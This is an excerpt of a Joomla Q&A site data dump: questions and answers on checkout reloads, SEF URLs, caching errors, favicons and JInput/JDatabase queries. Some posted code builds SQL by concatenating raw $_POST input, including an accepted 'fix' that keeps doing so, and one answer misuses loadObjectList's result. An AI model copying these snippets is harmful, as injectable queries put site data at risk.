  <row Id="18097" PostTypeId="1" CreationDate="2016-10-10T06:30:21.883" Score="1" ViewCount="46" Body="&lt;p&gt;on virtuemart checkout process, on choosing the payment method, when click on the radio button, page reloads. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;i have wrote a function that does something when page reloads or refreshes. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;but the function doesn't work on reloading caused by choosing the payment method. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;same thing happens when clicking on confirm checkbox at the end of checkout process. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;this is the function that i wrote: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(document).ready(function() {&#xA;    if (sessionStorage.checkoutstepHolder &amp;gt; 0) {&#xA;        cartButtonHandler(&quot;onLoad&quot;);&#xA;    }&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;i can't find the event listener that is listening to them, cause i don't know java script. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;the question is, &lt;strong&gt;why the function gets called on reloads caused by refreshing, but not on reloads caused by choosing the radio buttons?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="8738" LastActivityDate="2016-10-10T06:30:21.883" Title="stop reloading the page when choosing a payment method in virtuemart checkout" Tags="|javascript|virtuemart|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18099" PostTypeId="2" ParentId="10105" CreationDate="2016-10-10T11:05:53.717" Score="1" Body="&lt;p&gt;When in K2 (in the Joomla admin), click on &lt;code&gt;Parameters&lt;/code&gt; on the top right, and then click on the &lt;code&gt;Advanced&lt;/code&gt; tab. Under &lt;code&gt;Advanced SEF Settings&lt;/code&gt;, choose &quot;Yes&quot; next to &lt;code&gt;Enable advanced SEF for K2 URLs&lt;/code&gt; and then choose &quot;None&quot; next to &lt;code&gt;Prefix for item URLs&lt;/code&gt;. For good measures, choose &quot;No&quot; next to &lt;code&gt;Use the category ID in the URL&lt;/code&gt; and choose &quot;No&quot; next to &lt;code&gt;Use the category title alias&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2016-10-10T11:05:53.717" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18100" PostTypeId="2" ParentId="4294" CreationDate="2016-10-10T11:51:23.633" Score="0" Body="&lt;p&gt;Relying on the &lt;code&gt;toString&lt;/code&gt; method to get the current URL is wrong. The &lt;code&gt;toString&lt;/code&gt; method is not meant for that. The following is a better, cleaner, and future proof approach to retrieve the current URL:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$objJURI = JFactory::getURI();&#xA;$strQuery = '';&#xA;if (!empty($objJURI-&amp;gt;getQuery()))&#xA;    $strQuery = '?'.$objJURI-&amp;gt;getQuery();&#xA;$strFragment = '';&#xA;if ((!empty($objJURI-&amp;gt;getFragment())) &amp;amp;&amp;amp; ($objJURI-&amp;gt;getFragment() != '#'))&#xA;    $strFragment = $objJURI-&amp;gt;getFragment();&#xA;$currentURL = $objJURI-&amp;gt;current().$strQuery.$strFragment;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that the &lt;code&gt;getFragment&lt;/code&gt; method should return the part after the number sign, but there seems to be a core bug that prevents it from doing that.&lt;/p&gt;&#xA;" OwnerUserId="7867" LastEditorUserId="7867" LastEditDate="2016-10-10T12:05:31.233" LastActivityDate="2016-10-10T12:05:31.233" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18101" PostTypeId="1" AcceptedAnswerId="18102" CreationDate="2016-10-11T05:56:41.673" Score="2" ViewCount="2154" Body="&lt;p&gt;Issue:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Fresh install of Joomla 3.6.2 on Oracle Linux 7.2.  Error displayed when attempting to load the site or admin area is &quot; The file Cache Storage is not supported on this platform.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Setup:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have nginx 1.10.1 web server running configured with PHP-FPM 7.0.9.  Apache HTTPD is not installed.  PHP-FPM is running as user nginx:nginx.  MySQL 5.7.14 is also running on a separate server and can be accessed by web server without any issues.  Also note that the Joomla installation did not throw any errors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I have tried so far:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried changing ownership of the 'cache', 'tmp' and 'administrator/cache' directories to nginx:nginx.  They are all also world writable (for testing only).  Finally, I have tried changing 'cache_handler' from 'file' to 'cachelite' in the configuration.php file, yet this error persists.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am not sure what else to try and have not found any other workarounds/solutions to this problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks to all in advance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Shaun&lt;/p&gt;&#xA;" OwnerUserId="9138" LastActivityDate="2017-12-05T17:39:03.893" Title="Installed Joomla 3.6.2 - Getting Error: The file Cache Storage is not supported on this platform" Tags="|joomla-3.x|cache-handler|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18102" PostTypeId="2" ParentId="18101" CreationDate="2016-10-11T07:37:31.527" Score="1" Body="&lt;p&gt;Update - this issue has been solved, here are the details.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It turned out this was due to SELinux (shocking, I know).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The thread I used to solve the problem is &lt;a href=&quot;http://forum.joomla.org/viewtopic.php?t=932448&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks and credit go to L0ngN1t3 and Shain Rainville for his excellent &lt;a href=&quot;http://www.serverlab.ca/tutorials/linux/web-servers-linux/configuring-selinux-policies-for-apache-web-servers/&quot; rel=&quot;nofollow&quot;&gt;post&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9138" LastActivityDate="2016-10-11T07:37:31.527" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18103" PostTypeId="2" ParentId="16685" CreationDate="2016-10-11T08:24:28.717" Score="0" Body="&lt;p&gt;I just have this problem too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use this php at the begining of my AJAX PHP responder.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;error_reporting(0);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It will only affects that ajax call and will prevent spoiling the json response with a notification or warning message.&lt;/p&gt;&#xA;" OwnerUserId="371" LastActivityDate="2016-10-11T08:24:28.717" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18104" PostTypeId="1" AcceptedAnswerId="18105" CreationDate="2016-10-11T10:16:51.950" Score="2" ViewCount="63" Body="&lt;p&gt;I'm wondering if anyone knows of an extension that can allow a 'sidebar' positioned module to expand to full page width on click or on hover? Or know of anyway to achieve this in Joomla?&#xA;Any advice/suggestions/ideas would be most welcome.&#xA;Thank you in advance&#xA;Donna&lt;/p&gt;&#xA;" OwnerUserId="7973" LastActivityDate="2016-10-11T12:19:43.630" Title="Module that expands horizontally on click/hover" Tags="|joomla-3.x|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18105" PostTypeId="2" ParentId="18104" CreationDate="2016-10-11T12:19:43.630" Score="3" Body="&lt;p&gt;There is a paid extension called EngageBox by Tassos that I use for things like that.  It is fairly customizable so you could take the example from &quot;Side Navigation Menu&quot; and just change the width to be full screen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.tassos.gr/joomla-extensions/responsive-scroll-triggered-box-for-joomla&quot; rel=&quot;nofollow&quot;&gt;http://www.tassos.gr/joomla-extensions/responsive-scroll-triggered-box-for-joomla&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="464" LastActivityDate="2016-10-11T12:19:43.630" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18107" PostTypeId="1" AcceptedAnswerId="18113" CreationDate="2016-10-11T16:51:30.657" Score="1" ViewCount="1140" Body="&lt;p&gt;I looking if there is a solution for creating a custom field in the xml file so i tried to create a field&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field name=&quot;inject_label&quot;&#xA;    type=&quot;note&quot;&#xA;    default=&quot;WRAPROTECT_PLG_INJECT_LABEL&quot;&#xA;    label=&quot;WRAPROTECT_PLG_INJECT_LABEL&quot;&#xA;/&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now in my language file i did this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;WRAPROTECT_PLG_INJECT_LABEL=&quot;&amp;lt;div class='control-group'&amp;gt;&#xA;&amp;lt;label class='control-label'&amp;gt;.htaccess&amp;lt;/label&amp;gt;&#xA;&amp;lt;div class='controls'&amp;gt;&#xA;&amp;lt;p class='help-block'&amp;gt; %s &amp;lt;/p&amp;gt;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In my plugin i want to replace &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;%S&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;by checking &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;JRequest::getVar('clean_cache');&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;and &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;sprintf('WRAPROTECT_PLG_INJECT_LABEL',$someVar);&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I'm searching if there is a best practice to do this in a different way&lt;/p&gt;&#xA;" OwnerUserId="9141" LastActivityDate="2016-11-25T13:54:50.313" Title="Creating custom form field in Joomla 3.6 plugin" Tags="|joomla-3.x|php|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18108" PostTypeId="2" ParentId="18074" CreationDate="2016-10-11T17:32:11.930" Score="3" Body="&lt;p&gt;The &lt;strong&gt;onUserAfterSave&lt;/strong&gt; hook allows you to access this data at the appropriate time via a plugin.&lt;/p&gt;&#xA;" OwnerUserId="1622" LastActivityDate="2016-10-11T17:32:11.930" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18109" PostTypeId="1" AcceptedAnswerId="18110" CreationDate="2016-10-11T19:02:39.187" Score="1" ViewCount="40" Body="&lt;p&gt;The following query will not return any results...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (empty($from_date)) {&#xA;    $from_date = 2000-01-01;&#xA;}&#xA;if (empty($to_date)) {&#xA;    $to_date = 3000-01-01;&#xA;}&#xA;if (empty($_POST['supervisor'])) {&#xA;    $_POST['supervisor'] = &quot;%&quot;;&#xA;}&#xA;$query&#xA;    -&amp;gt;select(array('id', 'job_date', 'emp_name', 'super', 'qty_jobs', 'job_id', 'job_name', 'qty_measure', 'qty_install', 'qty_shop', 'qty_misc'))&#xA;    -&amp;gt;from($db-&amp;gt;quoteName('admin_service_reports'))&#xA;    -&amp;gt;where(($db-&amp;gt;quoteName('job_date') . ' &amp;gt;= ' . $db-&amp;gt;quote($from_date).' AND '.$db-&amp;gt;quoteName('job_date') . ' &amp;lt;= ' . $db-&amp;gt;quote($to_date)).' AND '.$db-&amp;gt;quoteName('emp_name').' LIKE &quot;'.$_POST['employee'].'&quot;')&#xA;    -&amp;gt;order('id DESC');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But if I remove the employee comparison in the where part like...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query&#xA;    -&amp;gt;select(array('id', 'job_date', 'emp_name', 'super', 'qty_jobs', 'job_id', 'job_name', 'qty_measure', 'qty_install', 'qty_shop', 'qty_misc'))&#xA;    -&amp;gt;from($db-&amp;gt;quoteName('admin_service_reports'))&#xA;    -&amp;gt;where(($db-&amp;gt;quoteName('job_date') . ' &amp;gt;= ' . $db-&amp;gt;quote($from_date).' AND '.$db-&amp;gt;quoteName('job_date') . ' &amp;lt;= ' . $db-&amp;gt;quote($to_date)).'')&#xA;    -&amp;gt;order('id DESC');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It works fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried using parenthesis and dozens of other things and it just will not return any rows. Just wondering if anyone sees anything that I haven't in the past 5 hours. I don't know if this is enough info to troubleshoot even. I'm on the fence as far as scrapping the JDatabase code here and going with standard PHP/MySQL.&lt;/p&gt;&#xA;" OwnerUserId="3581" LastEditorUserId="168" LastEditDate="2016-10-11T19:13:09.017" LastActivityDate="2016-10-11T20:57:01.360" Title="No syntax errors &amp; Query works without one parameter" Tags="|jdatabase|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18110" PostTypeId="2" ParentId="18109" CreationDate="2016-10-11T20:57:01.360" Score="0" Body="&lt;p&gt;The like clausule is incorrect.&#xA;Intead of&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;LIKE &quot;'.$_POST['employee'].'&quot;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It should be&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;LIKE &quot;%'.$_POST['employee'].'%&quot;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note the % sorrounding your text.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By the way, it is not a good practice to inject globals like $_POST or $_GET into queries because this produces an SQL injection vulnerable code. You better get post data through &lt;code&gt;JInput&lt;/code&gt;class and, as you did before, quote and escape this data with &lt;code&gt;$db-&amp;gt;quote($posted_data, true);&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="160" LastActivityDate="2016-10-11T20:57:01.360" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="18111" PostTypeId="2" ParentId="18107" CreationDate="2016-10-13T16:02:16.840" Score="1" Body="&lt;p&gt;If you want to replace &lt;code&gt;%s&lt;/code&gt;, then you can use the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$jinput  = JFactory::getApplication()-&amp;gt;input;&#xA;$someVar = $jinput-&amp;gt;get('clean_cache', '');&#xA;&#xA;echo JText::sprintf('WRAPROTECT_PLG_INJECT_LABEL', $someVar);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you can see, I've made use of &lt;code&gt;JInput&lt;/code&gt; instead of &lt;code&gt;JRequest&lt;/code&gt;, as this is deprecated.&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2016-10-13T16:02:16.840" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18112" PostTypeId="2" ParentId="16413" CreationDate="2016-10-14T04:20:41.250" Score="1" Body="&lt;p&gt;Changing Apache from port 80 to port 81, or anything else, should solve this issue without haveing to stop Apache. &lt;/p&gt;&#xA;" OwnerUserId="7344" LastActivityDate="2016-10-14T04:20:41.250" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18113" PostTypeId="2" ParentId="18107" CreationDate="2016-10-14T07:30:01.870" Score="0" Body="&lt;p&gt;In my XML file i used&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;fieldset label=&quot;WRAPROTECT_PLG_GLOBAL_LABEL&quot; name=&quot;basic_1&quot; addfieldpath=&quot;plugins/system/wraprotect/fields&quot;&amp;gt;&#xA;&amp;lt;/fieldset&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In my php file i used the function &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;getInput()&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;and&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;return '&amp;lt;tag&amp;gt;'.JText::_('some text %s').'&amp;lt;/tag&amp;gt;';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="9141" LastActivityDate="2016-10-14T07:30:01.870" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18114" PostTypeId="2" ParentId="14722" CreationDate="2016-10-14T10:12:52.200" Score="-1" Body="&lt;p&gt;I think &lt;a href=&quot;https://extensions.joomla.org/extension/obgrabber&quot; rel=&quot;nofollow&quot; title=&quot;obGrabber&quot;&gt;obGrabber&lt;/a&gt; is the most suitable Joomla extension with what you want.&lt;/p&gt;&#xA;" OwnerUserId="9147" LastEditorUserId="1520" LastEditDate="2016-10-14T12:32:10.893" LastActivityDate="2016-10-14T12:32:10.893" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18115" PostTypeId="1" CreationDate="2016-10-14T12:43:06.817" Score="2" ViewCount="65" Body="&lt;p&gt;I've added a custom toolbar button to export the items from a custom component as a CSV. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The CSV is getting exported correctly but my custom task is then being triggered when navigating the component in the CMS i.e. clicking on any pagination link exports the CSV again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can see that the task is stored in a hidden value, and that is why my custom toolbar is being triggered.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;task&quot; value=&quot;individuals.exportCsv&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Firstly, how do I go about resolving this issue?&#xA;Secondly, I've included the export code below, is this the best approach?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// output headers so that the file is downloaded rather than displayed&#xA;header(&quot;Content-Type: text/csv; charset=utf-8&quot;);&#xA;header(&quot;Content-Disposition: attachment; filename=individuals.csv&quot;);&#xA;&#xA;// create a file pointer connected to the output stream&#xA;$output = fopen(&quot;php://output&quot;, &quot;w&quot;);&#xA;&#xA;// outputh the column headings&#xA;fputcsv($output, array(&quot;id&quot;, &quot;first_name&quot;, &quot;last_name&quot;, &quot;job_title&quot;, &quot;address_1&quot;, &quot;address_2&quot;, &quot;postcode&quot;, &quot;email&quot;, &quot;mobile&quot;, &quot;direct_line&quot;), &quot;\t&quot;);&#xA;&#xA;foreach($items as $item)&#xA;{&#xA;    fputcsv($output, (array) $item, &quot;\t&quot;);&#xA;}&#xA;&#xA;fpassthru($output);&#xA;&#xA;jexit();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8973" LastActivityDate="2016-10-14T12:43:06.817" Title="Clear component toolbar task" Tags="|component|custom-component|joomla-3.6|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18116" PostTypeId="1" AcceptedAnswerId="18135" CreationDate="2016-10-14T18:33:36.143" Score="1" ViewCount="139" Body="&lt;p&gt;I've been told numerous times to use JInput Class as opposed to using 'method=&quot;post&quot; on my forms.  I have no problem finding example of how to retrieve data using JInput, but after searching numerous times over the past year, I can not find a single example of this from start to finish (HTML form to database to data retrieval from the database).  Luckily, everything I've been building has not been public (it's been secure via Joomla... only available to administrators).  But I would like to start using it just as a best practice.  A single link to an example would be much appreciated.  Or a download of the entire procedure via a GitHub project would work.&lt;/p&gt;&#xA;" OwnerUserId="3581" LastActivityDate="2016-10-19T06:04:45.100" Title="Example form on posting data through JInput class" Tags="|jdatabase|jinput|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18117" PostTypeId="1" CreationDate="2016-10-14T23:23:44.350" Score="4" ViewCount="807" Body="&lt;p&gt;So I am new to Joomla, and am trying to change our favicon. I already have a 16*16 .ico image, but can't figure out how to use it. I don't know how to use cPanel. What do I do?&lt;/p&gt;&#xA;" OwnerUserId="9153" LastEditorUserId="3650" LastEditDate="2016-11-07T20:14:36.890" LastActivityDate="2018-05-15T07:52:06.777" Title="How to change the favicon in Joomla" Tags="|templates|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18118" PostTypeId="2" ParentId="18117" CreationDate="2016-10-15T01:17:22.980" Score="5" Body="&lt;p&gt;The &lt;code&gt;favicon.ico&lt;/code&gt; file needs to be copied to the default template folder. For example, if you are using the Protostar template, the file would be copied to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/templates/protostar/favicon.ico&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You might also wish to copy the &lt;code&gt;favicon.ico&lt;/code&gt; file to the root folder of your website e.g. &lt;code&gt;/public_html&lt;/code&gt; or similar as &lt;a href=&quot;https://stackoverflow.com/a/8765472/1983389&quot;&gt;this can improve performance&lt;/a&gt; slightly and reduce error messages being logged when the file is not found.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you log in to cPanel, look for File Manager which you can use to upload files to the desired locations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, you could use an FTP client (the credentials are usually the same as cPanel credentials) to upload the files.&lt;/p&gt;&#xA;" OwnerUserId="120" LastEditorUserId="120" LastEditDate="2018-05-15T07:52:06.777" LastActivityDate="2018-05-15T07:52:06.777" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18120" PostTypeId="2" ParentId="17986" CreationDate="2016-10-15T11:23:26.640" Score="1" Body="&lt;p&gt;you shouldn't edit core files, but use the nice feature of template override within joomla. Help e.g from &lt;a href=&quot;https://docs.joomla.org/Understanding_Output_Overrides&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/Understanding_Output_Overrides&lt;/a&gt; and many other documents.&#xA;In your case: Copy the file &lt;code&gt;com_users/views/registration/temp/default.php&lt;/code&gt; to &lt;code&gt;templates/[your template_name]/html/com_users/default.php&lt;/code&gt;.&#xA;Afterwards, you can edit this new file, and the joomla core will still work and any update of joomla does not touch this file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ad 1: &#xA;&lt;code&gt;$this-&amp;gt;params-&amp;gt;get('page_heading')&lt;/code&gt;; the parameter &quot;page_heading&quot; is set through file com_users/views/registration/view.html.php (in line 87ff, Joomla 3.6.2)&#xA; &lt;code&gt;if ($menu)&#xA;        {&#xA;            $this-&amp;gt;params-&amp;gt;def('page_heading', $this-&amp;gt;params-&amp;gt;get('page_title', $menu-&amp;gt;title));&#xA;        }&#xA;        else&#xA;        {&#xA;            $this-&amp;gt;params-&amp;gt;def('page_heading', JText::_('COM_USERS_REGISTRATION'));&#xA;        }&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ad 2:&#xA;Removing which line? You may change the page heading in your file &lt;code&gt;templates/[your template_name]/html/com_users/default.php&lt;/code&gt; - no problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ad 3:&#xA;same as point 2.&lt;/p&gt;&#xA;" OwnerUserId="7023" LastActivityDate="2016-10-15T11:23:26.640" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18121" PostTypeId="1" CreationDate="2016-10-15T17:00:15.147" Score="2" ViewCount="1069" Body="&lt;p&gt;Someone help me know how I can have urls random for joomla sef in service?&#xA;I would like joomla or any component would generate urls like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;mysite.com.br/f4f9o3&lt;/p&gt;&#xA;&#xA;&lt;p&gt;mysite.com.br/dsr9c2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;mysite.com.br/fs39hl&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know any component or plugin to do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would be happy if I could only have a Zoo Article ID...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;mysite.com.br/145&lt;/p&gt;&#xA;" OwnerUserId="5617" LastEditorUserId="5617" LastEditDate="2016-10-17T10:42:12.487" LastActivityDate="2017-01-03T18:27:42.437" Title="Short URL or Tiny urls in Joomla" Tags="|joomla-3.x|url|zoo|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18124" PostTypeId="2" ParentId="18087" CreationDate="2016-10-17T10:11:13.767" Score="0" Body="&lt;p&gt;For your url &lt;code&gt;/index.php?option=com_jumi&amp;amp;view=application&amp;amp;fileid=11&amp;amp;Itemid=271&amp;amp;category=mycat&amp;amp;place=myplace&lt;/code&gt; :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$JInput    = JFactory::getApplication()-&amp;gt;input;&#xA;$myRequest = $JInput-&amp;gt;getArray(array(&#xA;    'option'  =&amp;gt;'',&#xA;    'view'    =&amp;gt;'',&#xA;    'fileid'  =&amp;gt;'', &#xA;    'Itemid'  =&amp;gt;'',&#xA;    'category'=&amp;gt;'',&#xA;    'place'   =&amp;gt;''&#xA;));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or if you want to &lt;strong&gt;filter&lt;/strong&gt; the input:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$myRequest = $JInput-&amp;gt;getArray(array(&#xA;    'option'  =&amp;gt;'word',&#xA;    'view'    =&amp;gt;'alnum',&#xA;    'fileid'  =&amp;gt;'int', &#xA;    'Itemid'  =&amp;gt;'int',&#xA;    'category'=&amp;gt;'string',&#xA;    'place'   =&amp;gt;'string'&#xA;));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;each input will return value as filtered type, or &lt;code&gt;NULL&lt;/code&gt; if there is no value.&lt;/p&gt;&#xA;" OwnerUserId="2247" LastActivityDate="2016-10-17T10:11:13.767" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18125" PostTypeId="1" AcceptedAnswerId="18126" CreationDate="2016-10-17T13:32:17.977" Score="1" ViewCount="407" Body="&lt;p&gt;I have built 2 queries&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$id = JFactory::getApplication()-&amp;gt;input-&amp;gt;getIn('vid');&#xA;$db = JFactory::getDbo();&#xA;$db-&amp;gt;setQuery(&quot;SELECT `email` FROM `#__usedcar_variants` WHERE `id`='$id' LIMIT 1&quot;);&#xA;$_POST['form']['Email'] = $db-&amp;gt;loadResult();&#xA;&#xA;$id = JFactory::getApplication()-&amp;gt;input-&amp;gt;getIn('vid');&#xA;$db = JFactory::getDbo();&#xA;$db-&amp;gt;setQuery(&quot;SELECT `mobile` FROM `#__usedcar_variants` WHERE `id`='$id' LIMIT 1&quot;);&#xA;$_POST['form']['Contact'] = $db-&amp;gt;loadResult();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However - it seems not the best way for optimization, as ideally&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;both the email and mobile can be collected in a single query,&lt;/li&gt;&#xA;&lt;li&gt;store them in an array,&lt;/li&gt;&#xA;&lt;li&gt;then assign each array value to the correct field&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Can someone help pls on it&lt;/p&gt;&#xA;" OwnerUserId="5654" LastEditorUserId="3650" LastEditDate="2016-11-07T20:13:26.370" LastActivityDate="2016-11-07T20:13:26.370" Title="Optimize Joomla SQL Query to store data in array and pass on array output to field" Tags="|mysql|jquery|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18126" PostTypeId="2" ParentId="18125" CreationDate="2016-10-17T13:44:10.437" Score="3" Body="&lt;p&gt;There's no need for multiple queries in your case. You can simply select &lt;code&gt;email&lt;/code&gt; &lt;strong&gt;and&lt;/strong&gt; &lt;code&gt;mobile&lt;/code&gt; from the table, like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$id = JFactory::getApplication()-&amp;gt;input-&amp;gt;getInt('vid', '');&#xA;$db = JFactory::getDbo();&#xA;&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;$query-&amp;gt;select(array('email', 'mobile'))&#xA;      -&amp;gt;from($db-&amp;gt;qn('#__usedcar_variants'))&#xA;      -&amp;gt;where($db-&amp;gt;qn('id') . ' = ' . (int)$id)&#xA;      -&amp;gt;setLimit(1);&#xA;$db-&amp;gt;setQuery($query);&#xA;&#xA;$results = $db-&amp;gt;loadObjectList();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;$results&lt;/code&gt; variable is now the &lt;strong&gt;object&lt;/strong&gt; that contains the results. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to access them, simply do the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$something_1 = $results-&amp;gt;email;&#xA;$something_2 = $results-&amp;gt;mobile;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; I've also corrected &lt;code&gt;getIn&lt;/code&gt; with &lt;code&gt;getInt&lt;/code&gt; (it should have a &lt;code&gt;t&lt;/code&gt; on the end)&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2016-10-17T13:44:10.437" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
